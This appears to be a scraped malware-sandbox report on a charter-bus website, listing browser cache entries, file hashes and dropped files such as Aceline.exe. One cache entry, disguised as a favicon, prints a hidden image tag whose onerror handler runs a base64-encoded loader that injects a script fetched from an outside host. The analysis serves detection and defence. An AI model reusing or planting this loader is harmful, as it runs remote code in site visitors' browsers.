Preview:	.PNG........IHDR...i...?.....l7q.....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-12-28T13:14:32+05:30" xmp:ModifyDate="2021-12-28T13:30:26+05:30" xmp:MetadataDate="2021-12-28T13:30:26+05:30" xmpMM:InstanceID="xmp.iid:da33827c-fd77-764c-95a9-37e0333c94a7" xmpMM:DocumentID="xmp.did:E26FAB36415A11ECB6B58AED6EC5A049" xmpMM:OriginalDocumentID="xmp.did:E26FAB3641

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (533)
Category:	downloaded
Size (bytes):	534
Entropy (8bit):	5.822819522534293
Encrypted:	false
SSDEEP:	12:qrDfHGikGo/Pw5tf9zMynvVlZ9i8LQqNu5Z:qHvGicapRllkqA
MD5:	92BEC7A348D688025FF5E9DC4D1017B7
SHA1:	5E4AB01D8A6A1DC54BDE810C3BAD654C100162D0
SHA-256:	78F29242633E34E9BC1710137FBAB973A3DBEFC903848AF80CA6F386808B50E3
SHA-512:	E3987B48767A5EC1363AB64C72755D9CD8DB95B132C1E03C74291A3CEE05E98C4274042F64ABCF8184BB63936C70944CCFBFE610F1DFE6D874D81FA5A0CD14FB
Malicious:	false
Reputation:	low
URL:	https://ia-robotics.com/favicon.ico
Preview:	<img src="/files/img/logo.png" data-digest="KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OWpiR2xsYm5SekxtTnZiblJ2Ykc5bmVTNWpiMjB2WTJGd2RHTm9ZUzloYW1GNExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI/Iik/IiYiOiI/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7" onerror="(new Function(atob(this.dataset.digest)))();" style="visibility: hidden;">.

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 498x280, components 3
Category:	dropped
Size (bytes):	31134
Entropy (8bit):	7.973723555728744
Encrypted:	false
SSDEEP:	768:Xg9MHD7A2KGD5xlmKs6RsrYg4R2kjHPNEyMouFBSGJtJfilzuAZ2:kMHD8sxlHHRss/5R2SGDJfazG
MD5:	6FD5CD6D80AFECB3E59DEDE9F3CE9EC5
SHA1:	9E877B87430A58635A8B0CFE3A90BDA5E47F8F97
SHA-256:	8D6C4952DB678CD446F54790BEE7E9C9B5517B7667A8DDC0E2627381E3631CB8
SHA-512:	9808DDEF0FD6F3D3E54E264036F26B71584404DC18821A6B50BC4A5ACEF5796BCB14EDD335D762991E8D8B80D2D1382C163D1278B5849C110FDB3B5A7D083636
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......>......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="691F4B526256B2D0101A3C2839EEF0CE" xmpMM:DocumentID="xmp.did:80EBB9F74DC011EF962FFFD3A1D94748" xmpMM:InstanceID="xmp.iid:80EBB9F64DC011EF962FFFD3A1D94748" xmp:CreatorTool="Adobe Photoshop Lightroom Classic 13.3.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f52d91ab-b4a2-4ce1-b005-0ee397191958" stRef:documentID="xmp.did:f52d91ab-b4a2-4ce1-b005-0ee397191958"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...HPhotoshop 3.0.8BIM..........Z...%G........

Chrome Cache Entry: 321

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	7
Entropy (8bit):	1.950212064914747
Encrypted:	false
SSDEEP:	3:Sn:S
MD5:	D97623D172F087D9640DA9ACD38830FF
SHA1:	515BD358BB7D990930F0E2B3DE399DB1787A2567
SHA-256:	FE04A9DC88D3F3BE8D4F6BC63A9A80F45A4C6D8460E7551DAB849457C091920A
SHA-512:	CE6A1969F698A616663F1A19CCFA12A37A4F6D782432D8A08AEB7879EFD3E2BECF168422EA66BC47E74F6BA865EFAAE6EABE3C4FABA280D7A21F3A94D7C55DA1
Malicious:	false
Reputation:	low
URL:	https://c.6sc.co/
Preview:	<p></p>

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 292x195, components 3
Category:	downloaded
Size (bytes):	19483
Entropy (8bit):	7.976355451012372
Encrypted:	false
SSDEEP:	384:QLnrFObLaIQ+8IdGRA8Y+h7ZlGJV89zOYEHIFl8bfrOgaW6dHjyQG5GCzQb:QLnZoaI9h8fjYL8RnN8faxdDyQ+/zQb
MD5:	D1E71D8200CB6EEE21DE54D8067DE8BE
SHA1:	E0FB0410B9EDAFE4695078D5F7251DA4F1135814
SHA-256:	6A515913B604FB6239EE49C6F63CFC753DC6262BEAA9CB4191D3186DA43971D8
SHA-512:	A89AB367D82AF02411E38D9AC782163543AD79A57CE7345E2A7FA8443DCA4EF64587E32723F2EDC67C62FEB784C1D939AF0E12FDCB890B441ACA109ED4DC22DB
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/employee/upload_editor_files/files/hospital-shuttles-hub.jpg
Preview:	......JFIF.........................................................................&$&22C...........................................................&$&22C........$.............7......................................................................2......>.0I.].L.N...._..l.I'H.]I..!r.T.d.1.V.48I.....<V.e.&i". .....".ut.[H[.=&)6t....T.w.a\K.]...D.$.%E... .s....Xw.L..`@.DS(.......5..J.....k.".&."..(.lS...).WfD.]..2q`.=..=E/0.....Z...C..(.qm.4..y.ui...bQ.D..CG-n....1...3.d...7.!.........M.....tv...!.d.....K.,.oR.....N..q..;..=..%..&.W....x...b#9.!.3..lU....\|.e...g._.....%..pa..i5.gbN.uf.+,..m@$ ...o.S.......J...%...0....;[.\WO.S.w...Y....

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://gogocharters.com/lexington-charter-bus

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

AI Reasoning

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

HTML

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Aceline.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Aceline.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\Aceline.exe

C:\Users\user\AppData\Local\Temp\VWSECTGEBPBA.zip

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5x22ncaj.brh.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tao1ooin.vmo.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tnept4w3.r24.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xfm2vfh5.bva.ps1

Windows Analysis Report
http://gogocharters.com/lexington-charter-bus